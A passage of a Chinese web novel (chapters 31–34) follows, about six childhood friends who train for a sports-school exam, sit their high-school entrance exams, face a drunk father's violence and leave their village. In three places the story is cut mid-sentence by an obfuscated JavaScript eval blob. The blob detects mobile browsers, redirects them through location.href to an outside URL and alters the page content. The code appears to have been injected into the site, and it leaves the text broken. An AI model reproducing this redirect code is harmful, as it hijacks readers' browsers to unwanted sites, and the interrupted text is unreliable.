江韫北把他拉起来,“那就赶紧跑,暑假我每天陪你练。” 俞麟再次跳到他身上,“好兄弟,以后不叫你狗贼了!” “谁稀罕。” 整个假期,江韫北除了找方之敛补习,就是陪俞麟练短跑,相机带回来,一直塞行李箱,还没见过天日。 假期快结束了才拿出来,拖着徐澄月骑车带他四处拍。 徐澄月骑累了,不干了,骂他一个大男生好意思让她带。 江韫北理直气壮说他要拍照,而且他们说好的,江大少爷雇她一个小时20块。 徐澄月耍赖,喘着气躺到草地上,“那接下来这个小时我不想赚了。” 江韫北气极,踢踢她鞋子,她死活不起,没办法,一屁股坐在她身边,一边骂骂咧咧一边翻看照片。 躺一会缓过来,徐澄月踢一下他屁股,问他怎么突然喜欢起摄影了。 江韫北倒也没刻意瞒着,前因后果说给她听,末了换来她的嘲笑:你该不会真的在家偷偷伤心吧。 刚过去是有一点,但爱面子的人怎么可能承认,又拿她无可奈何,手起一按,将她笑得张牙舞爪的样子抓拍下,相机攫取的那一幕实在滑稽,江韫北沉不住气,给她瞧一眼,威胁:“等着我把照片洗出来挂家里辟邪。” 十几岁的姑娘最爱美,怎么能让丑照留在别人手中。 大战一触即发,两人在空旷草地上追赶。西斜的晚霞被这对朝气蓬勃的少年感染,涨红脸给他们喝彩,欢笑与叫嚷跌落风中,风也被吸引,慢下脚步倾听。等两人跑累了,少年被女孩压在身下教训,晚霞与风才相携离开,也告知他们,是时候回家了。 被胖揍一顿的江韫北,还要在日暮中把人载回去,那人大剌剌将脑袋拄在他后背,说累了,让他慢点骑,别影响她睡觉。 他却故意骑过井盖把她颠醒,被她掐一把嘶嘶喊痛,以债主身份趾高气昂告诉她,刚刚她只载他一个半小时,现在换他载回去,他只会付一个小时的报酬。 背后闭目养神的人却忍不住笑出来,难道是她刚刚下手太重,把人打傻了? 快到家的时候,江韫北放慢速度,状似无意地问:“徐澄月,你知道我们要考朝中的对吧?” 半晌没回应,以为她真睡了,正想停下来查看,就听一句:“江韫北,你比阿爷还啰嗦。” 江韫北乐了,也不还口,踩上脚踏,用力飞快载着背后的女孩回家。 * 开学后一周,体校的专业考试开始,俞麟由父亲和哥哥陪同,压力颇大前往考场。 前一晚接到江韫北电话,问真的不用他回去,还特别大言不惭地说,他在他会更有底气。 江韫北在当然好,但父亲为他的考试,特地请假回来,哥哥也请了一天假,再让江韫北专程跑一趟太兴师动众。两个最亲近的人陪在身边,俞麟却莫名更有压力。 像是知道他的紧张,考前半小时,江韫北又打一通电话到俞爸手机,做最后加油打气。 俞麒看他接完电话,神色明显放松不少,知道自己是他的压力源泉,上前去,给他整理护膝护腕,最后拍拍他脑袋,像小时候哄他一样,“加油,我和爸在终点等你。” 这句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961329|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话是最后的降压剂,俞麟只觉现在整个人轻快得像一片蒲公英,只稍风一吹,就能毫无压力越过终点。 热身、准备动作、哨响,他将身体完全投掷进速度与大风之中,他在一片叫好声中冲过终点,看见哥哥脸上骄傲的表情。 11.5秒,他刷新自己有史以来的记录。 “干得漂亮!”俞麒递水给他,落下这句。 这一刻,俞麟比第一次拿冠军还要满足。 后面几项测试,俞麟轻松拿下。成绩当场就知道,过不过心里也有数。出了考场,就给江韫北报喜。 另一头江韫北也正焦灼等消息,一接通,他激动地跳起,差点被巡逻的教导主任发现偷带手机。迅速表达欣喜与祝贺便挂了电话,溜回教室继续学习,最讨厌的政治题都做得笑容满面。同桌以为他转性,问一嘴,他恨不得为俞麟宣告好消息,哪怕对方不认识他,“我好兄弟,通过体校专业考试了,正迈向他的运动员之路!” 俞麟顺利通过体校专业选拔,算了了俞爸俞妈一桩心事,当晚便做东请几家人吃饭。江家一家没来,对江韫北的感谢,只能尽数转达给阿爷,席还没过半,两人就喝得面红耳赤。 阿爷一个劲地夸他生了两个好儿子,一个学习好一个体育好,放在古代就是文武齐全,又夸钟屏不容易,一个人又要上班又要照顾两个孩子,好在俞麒沉稳,俞麟虽爱玩但不叛逆,都不让人操心。 换做平时面对别人对两个孩子的夸赞,俞澍都是谦虚应付,但今天喝高了,又因俞麟的事高兴,有些得意忘形,要俞麒弹一曲给大家助助兴。 一早吃完和徐爸在一旁喝茶的徐澄月,闻言揉烤鸽的手一顿,抬眸望向俞麒,后者在俞叔的催促下,懒散地走向钢琴,坐下,抬起琴盖,手摸上琴键,行云流水的动作,可动作的主人却面无表情,对阿爷和俞麟的起哄视若无睹。 音乐自那双白净修长的手下流出,没多久,徐澄月抱着烤鸽走过去,靠在琴身上,忽一松手,烤鸽身姿灵巧跳到琴键上,音乐一下变得刺耳,她“哎呀”一声,捏住烤鸽脖子把它拎走,却见白色琴键上有一粒粒黑色的东西。 徐澄月一怔,马上去看俞麒的反应,额半天:“烤鸽……好像拉屎了。” “没事,我来。”洁癖在身的人似乎丝毫不在意,只见一向不爱亲近这些带毛动物的俞麒,一手拎起烤鸽,一手拿纸擦掉琴键上的东西,快步往外走,“我带它去洗洗。” 徐澄月跟上他,两人牵了条水管,蹲在门口给烤鸽清洗。徐澄月摸着它的尾巴,夸道:“乖孩子。” 俞麒轻笑:“在我琴上拉屎你还夸它?” 想起那个滑稽场面,徐澄月忍俊不禁:“你还得给它加餐。” 他这个反问印证她的猜测。 俞麒看她一眼,了然,应得极快,“好。” 32. 第 32 章 初三开学没多久,徐澄月就感受到班里氛围的转变。 重点班学习氛围本就不差,时间逼近下更是肃穆,课上聚精会神,课下争分夺秒。 老师那边围的人多了,2班的同学就往隔壁1班走,全年级的精英都在这,随便逮一个都能解决问题。1班同学也不藏着掖着,两个班像被隔离在孤岛上的两个部落,守望相助两年多,紧要关头自然也不吝啬帮忙,不论生的熟的,看到有2班的人在门口徘徊,手一伸,嘴一张,“讲哪道题”。 徐澄月也被好友们督促着学习,不得已删减了许多课余活动,就连丁爷爷家也去得少了。她想,中考就这样,到时候高考,会不会连觉都不用睡了。 方之敛一本正经地回答:“吃饭睡觉的时间还是会给你的,不过应该会比正常要少。” 徐澄月第一次感受到他的可怕。 但为了和伙伴们的约定,她也开始进入状态。只是骤然前进有些吃不消,虽然成绩一直保持班级中上水平,但再往上拉,成效起初不明显,第二次月考只考多了几分。 在市区上班的徐妈听闻她努力备考却换得这样结果,怕她受挫,那一阵下班都往家赶,又是好吃好喝安慰又是言语开导,生怕她压力太大身体受不住。 江韫北也隔三岔五打电话发信息,让她别学了,适当休息,以为是先前自己一再叮嘱让她慌了神,给她太大压力,要把人逼坏了,别说徐叔徐姨,他阿爷就先得把他了结了。 但徐澄月让他们放宽心,她没那么脆弱,也能苦中找乐,物理和英语两科扛把子的,一直没退过。加上三大军师在身边,她想掉链子都难。 三人轮流,整理笔记、讲题,谁有空谁上。 原先方之敛给她讲得多,但作为性格好讲题清晰听不懂再讲一遍的温柔型学霸,自己班里的人也是排着大长队,徐澄月不好意思插队,就转向俞麒。 从前俞麒讲题比较直接,用他的逻辑思维读题推导过程,时常叫听的人越听越不解,和方之敛一块久后,见到他给别人讲题的习惯,渐渐也学会了,现在讲一道题就顺带把知识点讲透,再把可能出现的题目形式都列一遍。 这样下来,徐澄月形成自己的思考逻辑和题库,攻克的不再是一道道题,而是每一个知识点。 远在阳城的江韫北用起三大军师更是得心应手,他依照三人更优势的科目分类,不会的题目对应发给每个人,等他们空下来了回复。6人的Q|Q群聊也少了不着边界的互侃,时常满屏是各种数字和图案。徐澄月有一次刷下来,调侃,不知道的以为这是什么特工接头群。 到了寒假,几人默契地将学习基地作为据点,只不过这回嬉笑玩闹减少,每个人都拿着手中的笔与一道道难题作战,或是围坐一团,听俞麒和方之敛讲题。 阿爷给他们送吃的,时常见到这样的场景。 年一到,方之敛十分有人道主义给他们放了一周假,初九要恢复节前的学习节奏,持续到年十六开学。 好不容易喘口气,徐澄月打算睡个天昏地暗,父母没有来吵她,却被狗贼江韫北一串冰糖葫芦冻醒。 徐澄月从暖融融的被窝惊坐起,抹掉眼角分泌物,看清来人,尖叫声要将老厝的瓦片房顶穿破,下一秒嘴里被江韫北塞进一颗冰糖葫芦,石头一样硬的糖衣,牙齿一颤,整颗吐出。 谁大冬天把冰糖葫芦放冷冻!丧心病狂! 徐澄月怒目而视,捋起袖子就要去和他干架,全然忘记自己只穿着一身粉红的贴身睡衣。 江韫北有求于她,不敢还手,见她衣着单薄,也没多想,躲到衣架那给她丢件外套,等她消气了,才试探着请求:“和我去拍照?” “拍你个大头鬼!” 江韫北跟在她身后,不放弃地劝说,学了一个假期得出去走走,冬天可以拍到很多好东西,拍完照请她吃大餐,若干理由,最后总结一句特别中二的话:“生命在于律动,镜头能记录一切。” 没完没了,烦不胜烦。 最终还是被他软磨硬泡拽出门,半死不活坐在他车后座,遇到邻居问他们大清早去做什么,徐澄月一脸麻木回答:“去感受寒风中生命的静止。” 江韫北脚一滑,差点连人带车从小坡上滚下去。 两人迎着寒风来到田野里,四周空旷,风大概也看不过去他们的“自虐”,越吹越猛。 徐澄月蹲在田陇间,用两边花生藤挡风,面如死灰看着前面趴在地上,不知是在拍摄还是凹造型的人。蹲麻了,上前去找他,却见他镜头里只有一片长长绿色的叶子。 徐澄月觉得自己真是鬼迷心窍了才会答应和他出来。 知道他现在肯定不会回,索性在他旁边坐下,踢踢他让他把衣服脱给她盖腿。就这样坐了半小时,她委婉相劝:“江韫北,你不冷吗?” “嘘,不冷,我就快拍到了。” “拍到什么?” “一只蚂蚁。” 徐澄月仰天叹息:“折腾这么久,就拍一只蚂蚁?蚂蚁哪不能拍?” “这和门口爬的蚂蚁不一样,再说了,喜欢的东西,再折腾也乐意。” 徐澄月不乐意,耐着性子等他拍完这只蚂蚁,就拎着人领子打道回府。 回家后还气不过,提笔将他那蠢样画下来。 年一过,时间也飞快起来。 复习,考试,讲题,日子好像进入了循环时空,唯有气候变化告知时间的前进。 脱掉厚重冬衣,四月初春迎来全市第一次模拟考。 三天,考完隔天是周四,继续上课。 那天也恰好是江韫北生日。 晚上放学回家,徐澄月拿了东西去阿爷家,直接进江韫北房间,把新做好的木雕立在他桌面。 犹豫许久,还是给他打了电话。 不知道为什么,隔着电话和他道生日祝福,比当面讲还难为情。他在那头喂了好几声,她才慢慢说出生日快乐。 那边“咚”一声,像打翻东西,随后是浑厚的笑声,像猪打鼾。 徐澄月嫌弃道:“不知道的以为你们家养猪了!” 那端继续笑了很久才停下,“我和俞麟打赌,你肯定会打电话给我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978435|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不信,非说你一天没提肯定是忘了。我坚定相信你没忘,徐澄月,不错啊,没辜负组织对你的信任!” “无聊。”她确实没忘,还想过去阳城给他过,他们相识后,生日都是一起过的。但不巧是周四,换作明天,肯定就去了。 但她才不会告诉他,光打个电话就让他这么得意了。 “徐澄月,我今晚准备许愿,让你稳稳考上朝中,够意思吧?” 徐澄月右手打着响指,哼笑:“你比我强不了多少,留给自己吧!” “我有加分,你没有啊傻子。” 到底谁是傻子啊,徐澄月想。明明自己找了不少家教,每天晚上12点都还在问阿敛问题,早上又早早在群里打卡默写。谁更需要一些庇佑,高下立见。 但处于还相信许愿的年纪,得到别人的愿望,比获得至宝还珍贵。 徐澄月对着话筒大声道:“愿望说出来就不灵了傻子!” 就这样像打游戏过关升级一样,方向清晰,装备齐全,辅助强大,一关一关过,终于到达终点。 考前一晚,徐澄月依旧按照自己的节奏复习,父母端着宵夜来到她房间。 看着橱柜里一件件木雕,从小到大,从四不像到神韵渐显,徐妈看得出来女儿对木雕的喜爱,但她意志坚定,这一年极少碰,欣慰之余有些心疼。 徐妈摸摸女儿的发顶,帮她把散乱的辫子梳好。并没有什么特别想说的,像以往每次考试一样给她打气加油,更多是让她放松,不用有太大压力。 自她出生起,他们夫妻俩最大的愿望就是她能开心健康,不被任何事情束缚,自由、自在。他们并不过多在意她的成绩,学习不好有学习不好的活法。 徐澄月懂得父母的担忧,嘴里塞得鼓鼓的,手指沾着油,但敞开双手拥抱了他们。 躺上床准备休息时,她想,她拥有最充实的力量,怎么会考不好。 隔天一早,父母准备齐全,要送她去学校。 临走前,阿嬷往她兜里塞了个东西,“我昨天求的,放到你文具袋里,考完再给我,我拿去还愿。” 徐澄月意外,倾身抱一下她,“好,谢谢阿嬷。” 三天时间,不长不短。 徐澄月记忆里,那几天是闷热出奇的天气,教室四角及中间放着的冰块和多增的几把风扇,是父母全程陪伴,伙伴并肩走出考场,是阿爷为他们准备了消暑食物却怕他们吃多了闹肚子,左叮咛又嘱咐吃一点就好,考完还有,是江韫北这个大傻子明明自己紧张但总在电话结尾说:徐澄月,别紧张啊。 最后一科考完出考场,知了叫得特别欢畅,似乎在迎接他们。徐澄月傻气地,过去拍拍树干,告诉它们知道啦,别叫啦。 徐爸和方爸开着车等在门口,载着人就到市里最大的自助餐厅,要他们敞开肚皮吃,慰问劳累这么久的身体。几人也着实饿了,猛虎扑食似的,一盘一盘东西往桌上拿,看得几位家长直说值回票价了。 胡吃海喝,不聊考试,只聊明天起去哪疯玩,这是徐澄月关于中考,最后一幕的记忆。 33. 第 33 章 考试结束,被压着苦读一年的俞麟,像脱缰的野马,即便驯马师是俞麒,也压不住他往外飞腾撒野的劲儿。 考前他就计划好了,要和朋友们来一次小旅行,远途他们年纪尚小,父母不给去,只好选择周边城市,打算去隔壁市一个岛上看看海,吃吃海鲜。 一干人对他的安排颇为无语,海和海鲜他们这是没有吗?换个地方看,能看出什么稀奇东西?还不如再走远点,去江韫北之前住的城市。 这也是个好主意,还有江韫北这半个东道主,可以领他们玩。可电话打过去,得知他要陪同出差的父母,一道去上海,顺便玩两天。广府之行约不成,只好作罢,换回俞麟原先的安排。 哪知江韫北听后,极力阻拦,要他们等他回来再一起去,六个人,一定得整整齐齐。 俞麟打电话过去原也是想问他什么时候回来,好安排行程,他这样说,几人无异议,只催他快点,别贪玩。担心威胁力度不够,徐澄月最后加一句:下个月5号前回不来,我们就自己去了。 威胁不起作用,却那头的江韫北美死了,得意大笑,“没想到你们一个个都这么想我啊,快了快了……” 不约而同的,几人伸手挂断电话。 长达70多天的假期开始,几人白天聚到阿爷家,或是玩江韫北留下的游戏机,或铺张垫子在客厅,围在一块看重播的《仙剑奇侠传》,一面垂涎仙女姐姐的美貌一面痛心李逍遥这个笨蛋。 阿爷每天变花样做好吃的,要把他们掉下去的肉养回来。到傍晚温度下去了,就去田间帮阿爷收菜收谷物,再挖点番薯就地烤,顺带看看晚霞。 也不是每天都这么散漫,各自都有喜欢的事要做。 徐澄月照旧去丁爷爷家,开始了更复杂的木雕技法学习;俞麟每天都会自己训练,一天下来可以跑十来公里;岳清卓抓紧练拳,要实现高中开学前考入段黑带的目标;方之敛是个什么时候都不忘学习的人,中考刚过,他也能借到高中的课本先看,方爸要他好好放假不给他上竞赛班,他也能找到竞赛题做。俞麒也一样,只是学习之余被要求着练琴,俞爸给他报了钢琴比赛,每天都会打电话回家监督。 就这样一天天过着,行李已收拾好,就等江韫北回来立刻启程。 左等右等,却等来怒气腾腾的岳冬。 那是七月初傍晚,徐澄月回家路上,被一个一身酒气的男人撞到墙上,擦伤胳膊,男人却视若无睹,正想追上去理论,她认出那人背影,心一急,加快脚步。 人果然是岳叔,一进门就叫嚷让小菀姑姑出来,阿爷对他没好脸色,说不在,又顺嘴提出让他不要拖延,把离婚办了放她们娘俩一个自由。喝醉酒的人什么都听不进,就要往里冲,阿爷去拦,被他推搡一把差点站不稳。 “岳叔!你回来了。”一老一小,徐澄月不敢硬碰硬,喊了他就大声朝隔壁屋喊:“俞麒俞麟,岳叔回来了!” 兄弟俩应声出来,徐澄月小声让俞麟跑去叫小菀姑姑别回家,又让他在路上给徐爸打电话,然后拉着俞麒进去拖住岳冬。两人就岳清卓的成绩和练拳,恭维他有这么优秀的女儿,暂时将人绊住。 说了一会,俞麒朝徐澄月摆摆手,示意她去厨房,徐澄月会意,倒水的时候在想要不要回家拿徐妈有时吃的安眠药下一片进去,让他安静点,突然听屋外一阵吵,是小菀姑姑的声音。 她着急忙慌出去,两人扭打成一团,徐爸和阿爷在拉架,而一旁蹲在地上的岳清卓,脸色痛苦,方之敛捂着她的额角,指缝渗出鲜血。 “清卓!” 她抄起阿爷放在门边的扁担,猛地朝岳冬的背上砸去。 一瞬,屋里屋外都清静了。 * 江韫北和父母回到阳城后,就央求父母赶回老家。手里提着礼物,心里美滋滋,幻想着阔别已久的朋友们见到他会有多惊喜。 一进屋,他的朋友们一个挨一个坐在天井,口中“surprise”喊了一个音,被他们沮丧的表情和岳清卓额头的纱布吓得咽回。 后头大包小包进屋的江爸江妈也疑惑不解。 江韫北窜到岳清卓身边,盯着那纱布似要把凶手给盯出来,恶狠狠地问:“谁干的?” 从方之敛口中知道来龙去脉。 岳冬得知江菀去年买的房子已经交房,原本离婚手续谈得好好的突然变卦,硬要江菀将房子分一半给他。下午喝醉来闹事,家里只有阿爷,收到俞麟传信的江菀,担心父亲,匆忙赶回家,路上遇到练拳回来的岳清卓和方之敛。 岳冬看见江菀便开始闹,讲不过又要动手,岳清卓学了手脚抵挡几下保护妈妈,但架不住成年男性醉酒力道大,被他一甩,额头磕到石阶上。后来徐澄月拿扁担砸的那一下,直接把人砸晕了,现在几个大人都在医院。 江爸江妈听完,暗道不好,叮嘱几个男孩陪着女孩,便匆匆往医院赶。 江韫北蹲在岳清卓面前,看了半天她伤口,想骂几句脏话,但又会骂到岳冬,毕竟是她亲生父亲,他不好当她面骂,最后只能磕绊问一句:“还疼吗?” 或许有血缘关系,他这小心翼翼的一问,叫岳清卓心酸,暗道半天要坚强,被朋友安慰也没哭,这一刻泪腺却好似失禁,眼泪大颗大颗砸落,“你说我练拳是不是没用啊,怎么还是保护不了我妈,还是挨打了呢?” 惯来被视为流血不流泪的铁血女汉子,此刻嚎啕不已,大诉委屈,江韫北笨手笨脚搂着她安慰,“没有,你可是我最棒的姐,你现在年纪还小,力气也不够,等再大些,指定能把他打的满地找牙。” 岳清卓哭得一啜一啜,“真的吗?那我还练吗?” “练,为什么不练,以后我要被人欺负,还靠你撑腰呢!” “那下期报名费,你给我出?” 原本陪着一样低落的伙伴闻言皆是一笑。 这时候她说什么江韫北都不会反驳,“出,我给你出,你想练什么我都给你出。” 岳清卓从他怀里起来,吸着鼻子,眼睛见肿,“我头好痛,想睡觉。” “我去拿药。”方之敛立马站起来,“你们扶清卓回房。” 折腾好一会,岳清卓终于睡去。几人悄声出去,方之敛下楼端了盆温水说给她敷眼睛。其他人转道去了江韫北房间。 几个小时过得实在累人,徐澄月大剌剌往江韫北床上躺。翻腾一会,睡不着,想起那一扁担,心有余悸,猛地坐起来,担忧道:“你们说,我会不会把岳叔砸出毛病来?” 俞麒看她一直不安,大抵就是担心这个,坐到她身边,拍拍她脑袋安慰:“不会的,刚方叔来电话了,他是喝醉,本来就晕乎乎的,那一下只是让他提前睡着而已。” “那我会不会挨骂啊?”徐澄月哭丧着脸,以前和同龄人打架就算了,这回打到长辈头上,阿嬷知道了,肯定不会轻易放过。 “没事。”江韫北抢先俞麒一步出声,也挨她身边坐着,“要挨骂我替你说话,挨打了我帮你扛着。” 俞麒俞麟也点头。 想让她放松点,江韫北一个劲夸她,“徐澄月,你厉害了,这排兵布阵可以啊,最后还一招制敌,要在古代你就是打战奇才啊。” 徐澄月被他逗笑,说那会她其实紧张得手心冒汗,但是看见清卓的伤,就什么也管不了了。 江韫北接着她的话说下去,一来一回,说了好一会,说得徐澄月犯困,迷糊着说得和岳清卓一块睡。几人回到隔壁房,徐澄月在岳清卓身边躺下,挽着她胳膊,被子一盖就睡着了。 四个男孩找了两张凉席,铺在地上,将就着也睡过去。 第二天睡到日上三竿,大人们不知道什么时候回来的,见他们醒了就招呼他们吃饭。 徐澄月面对阿爷和江菀时,还有些不自然,期期艾艾地想道歉,却听小菀姑姑开口:“澄澄,昨天谢谢你,你很棒,帮了姑姑和清卓。” 责骂变夸奖,徐澄月一时有些无措,但没忘问岳冬的情况。 提起他,阿爷气不打一处来,骂骂咧咧的,也不顾餐桌礼仪了,把碗筷掷出声。 江菀说他没事,就是喝多了,早上已经清醒,她请了律师协商离婚的事,这回他再不同意就上法院了。 为离婚闹上法院,以徐澄月对小地方的了解,一定会被当作茶余饭后的谈资,但一向好面子的阿爷没有反对,小菀姑姑也一脸坚决,她笑了,轻轻抱一下她,说:“姑姑,你好勇敢。” 江菀一瞬眼红。 打伤岳叔一事最终还是没能瞒过阿嬷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985874|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但令人意外,阿嬷这次并没有责骂,瞧见她胳膊的擦伤,还特地跑药店买药给她换,只在换药时骂:“呸,真不是男人,打老婆孩子,迟早遭报应。” 阿嬷年轻时性子就泼辣,老了更甚,激动起来骂人仪态难免不好看,但此刻,徐澄月却觉得她的阿嬷好可爱。 倒是父母对这事颇有微词,不是为她打长辈,而是她单枪匹马为朋友出头的性子。并非板正教育,而是循循善诱,叫她知道帮助朋友是应该的,但要会分辨处境和自己的能力,不能不管不顾。 徐澄月一一应下,不敢反驳,但在最后依旧是告诉父母:再来一次她还是会这么做,她没法看着流血的岳清卓而无动于衷。 父母对视一眼,叹声气,也没再说什么。 经这么一遭,几人也没了出去的心思,加上俞麒八月份要去北京参加钢琴比赛,俞澍让他提前过去练习,成绩出来前就得走。 接到这个消息时,俞麒正和朋友们看《仙剑奇侠传》,正好切到胡歌正脸,俞麒指着说:“刚好看完结局。” 不咸不淡的一句,看不太出情绪,江韫北只当他和自己假期懒得学习一样,安慰很快就考完了,随便应付一下。 俞麒“嗯”一声,继续看向屏幕。 晚上开始收拾行李,收拾到有些烦躁,手一扬,将裤子丢进行李箱,恰巧被来找他的徐澄月看见,他有些难为情,在他们面前一向是冷静稳定的。 徐澄月假装没看到,问他怎么这么快就收行李了。 “没什么事,就收了,找我有事吗?” “嗯,烤鸽想找你。”她将烤鸽塞到他怀里。 对烤鸽从敬而远之到愿意触碰到喜欢,俞麒也不知道自己是怎么改变的,总之就是某一天,徐澄月把烤鸽丢给他,他能够照顾得很好。他摸着烤鸽毛茸茸的身体,又掂了掂,问小家伙最近是不是又重了。 “重了两斤,已经比真鸽子还要重了。”烤鸽不乐意地喵呜几声,徐澄月捏住它脸晃,玩了一会,又从兜里掏出另一只烤鸽,“这回就让这只烤鸽陪你去吧,你就当,就当,是弹给烤鸽听,不过放心,这回它不会再在你琴上拉屎了。” 俞麒手握住另一只烤鸽,端详许久。从没和她说过厌恶某件事,她也从没说过是如何发现,好像他们默契地借助烤鸽,建立了属于两个人的秘密。这个秘密关于自己多年的喜恶,连最亲近的父母弟弟都未曾发现,被一个人这样放在心上,他是感动的。 就像初识,她也与旁人不一样,准确分辨出他和俞麟,这样的特殊对待,是他一直以来渴望的。他很庆幸,当初没有推开徐澄月。 “好,收下了,回来给你带礼物。” “好啊,不过你要记住一件事,这只烤鸽是我随手练习之作,不能代表我的正常水准。” 俞麒看着脑袋有些歪的烤鸽,忍笑点头。 外头俞麟在喊吃水果,两人一道出去,俞麟扔过一个盒子给哥哥,说是韫北送的,让他去了北京无聊打发时间。 没见到人影,俞麒问他去哪了。 俞麟:“找阿敛踢球去了,我吃撑着,没跟去。” 这边球场上,江韫北把足球当出气球,一脚一脚踢得极狠,不看到球鲜血淋漓撞上球门不罢休似的。 方之敛和他绕着整个足球场跑了一小时,抵不过他惊人的体力,要求中场休息。 江韫北也大汗淋漓,大口喘着粗气。 方之敛细心察觉好友心情不佳,也不拐弯,直接问出来。 江韫北话到嘴边,始终觉得矫情,不肯问出来。 方之敛何其了解他,“和澄澄闹别扭了?” “也不是别扭。” “那你生什么闷气?” “我哪有生气!”慌张的人用大声掩盖心虚。 “哦,不是生气,那是什么?”非得大晚上喊他出来疯狂踢球,他是准备去给清卓换药的。 “就是,就是,”江韫北磨磨蹭蹭,终于找到借口,顿时理直气壮,“烤鸽我是买的,凭什么和俞麒亲,我抱它它都不给抱!” “啊?” “对啊,就是烤鸽,也不知道徐澄月怎么教唆的。” 方之敛深感无语,在路灯照射下,留给他一个头也不回的背影。 34. 第 34 章 出成绩那天,是个平常日子。徐澄月照例起得晚,伙伴们早已查好等着她。 方之敛、俞麒、岳清卓三人不必说,快班中更快班的人,考进朝中是板上钉钉的事,只是分数有差异。 在过往多以一两分考输俞麒位居第二的方之敛,这回将分挣回来,跃居第一,是芜洋中学,也是区县第一,市里排名第4。俞麒低他两分,两个名次。 岳清卓虽没有两人那么高,但按朝中以往分数,也是双脚将朝中重点班踩得严严实实。 徐澄月也没有辜负最后一年的努力和朋友们的照料,以高出朝中录取线十分考入。 江韫北差几分,好在足球特长生加的分补足,安稳着陆。 而俞麟,顺利考入体校。 各自圆满的结局,阿爷得知后,立马上寺庙还愿,路上逢人便炫耀,他几个孙子孙女考得好成绩,顶天的好成绩。 成绩由网上查阅得知,但按学校惯例需要回去一趟拿成绩单和其他资料,俞麒在成绩出来前一周就已离开朝城,便将这事托付给方之敛。 回校那天江韫北也跟着,说正好回来看看老谢和同学们。 自转学后就没回来过,一出现便被同学们团团围住,他还带了相机,这个拍拍那个拍拍,半天才得以逃脱。原先位置没有新的人坐,他就像出去踢完球回来,轻车熟路坐回去。 最后一次见面总归是伤感的,老谢一把辛酸泪,说他们是他带过最特别的一个班,同学在下面嬉笑反驳,“你每一届都这么说吧”,惹来哄堂大笑。但彼此都清楚,这样你来我往,不必顾及师生身份的玩笑,是最后一次了。两个月后,他们将重新变为流向不同的河流,汇入不同海洋。 散场时,老谢提醒了一个事:还记得初一那会你们做的植物标本吗?还想要的自己去领。 说的时候大家并没有什么反应,没多久,教室有人交头接耳,陆续有同学离开。这像一个暗号,或许是开始,或许是结束。 江韫北起哄着一块去看,徐澄月想着拿回自己的,便应了,何意霖却以父母来接为由拒绝了,叫他们如果看到自己的,帮忙拿一下。 隔壁班叫上方之敛和岳清卓,几人一道去。 结果令人惊讶,负责的老师说,他俩的标本都被人领走了,采用的是不记名,不知道是谁,俞麒的也不在,方之敛和岳清卓的倒还在。 江韫北沾沾自喜:“该不会是哪个学弟学妹觉得我的好看拿走了吧。” 徐澄月:“那也肯定先拿我的,我那幅多丰富,又有题字又有画。” 江韫北:“我的现在不在了。” 徐澄月:“我的也不在。” 岳清卓嫌弃地觑两人一眼,“真幼稚。”转而又和方之敛说,“既然我俩的都在,互送怎么样?” 方之敛求之不得。 一切尘埃落定后,假期继续,八月底几家人便忙活起搬家的事。 徐妈在家属院等了老久,新家一切准备妥当,就等父女俩搬各自的东西去。 江菀当时买房图孩子上学方便,选了朝中附近的,谁知无心插柳成荫,小区离市一院家属院一公里左右。俞家跟着她买的,也在一块。 而方家,早前得知邻居们都有往市里搬的打算,也考虑儿子将来读书,便填报了医院的调任申请,两人都是经验丰富的医生,这些年贡献不少,申请很快通过,和徐妈一个医院,一个家属院。 冥冥之中,几家人又凑在一块,继续当着邻居,互相照应。 大人开心,小孩更兴奋,六人团再次合体,到新的生活去,再续“团伙作案”。 搬新家固然令人欣喜,但也意味着,很快他们要离开生活十几年的老厝,与阿爷阿嬷们告别,剩下不足一月,是他们在云水村生活的最后时间。 东西一点一点从老厝搬走,新家也慢慢与心中描摹的“家”的模样吻合,但每每看见阿爷坐在鸡蛋果树下,面带笑容看他们搬东西,可那笑容中却难掩失落,徐澄月便心生不舍,再次央求阿爷同他们一道搬去新家。 阿爷却是摆摆手,悠哉游哉摇着蒲扇,再次拒绝:“老了不愿意挪窝,大半辈子住在这,换城里去住不惯,当初在小北他们那住了一段日子,怎么住都不得劲,想念我田里的老伙计,也想念到处串门喝茶的生活。楼房好是好,但总觉得少了点什么。” 少了什么?徐澄月追问。 阿爷拍拍她的脑袋,笑答:“少了自在。” 但那时候他们几个孩子心里,陪伴比自在重要,轮番劝说,大人也上场,但阿爷却十分坚定,就连一贯嚷嚷养儿防老的阿嬷,也不愿去,只丢给他们一句:这些年吵够了,不想再去掺和他们小家的生活。 老人心意已决,他们便不再劝,但双方达成协议,时不时过去住一阵。 在云水村最后一晚,因线路换新,全村停电。 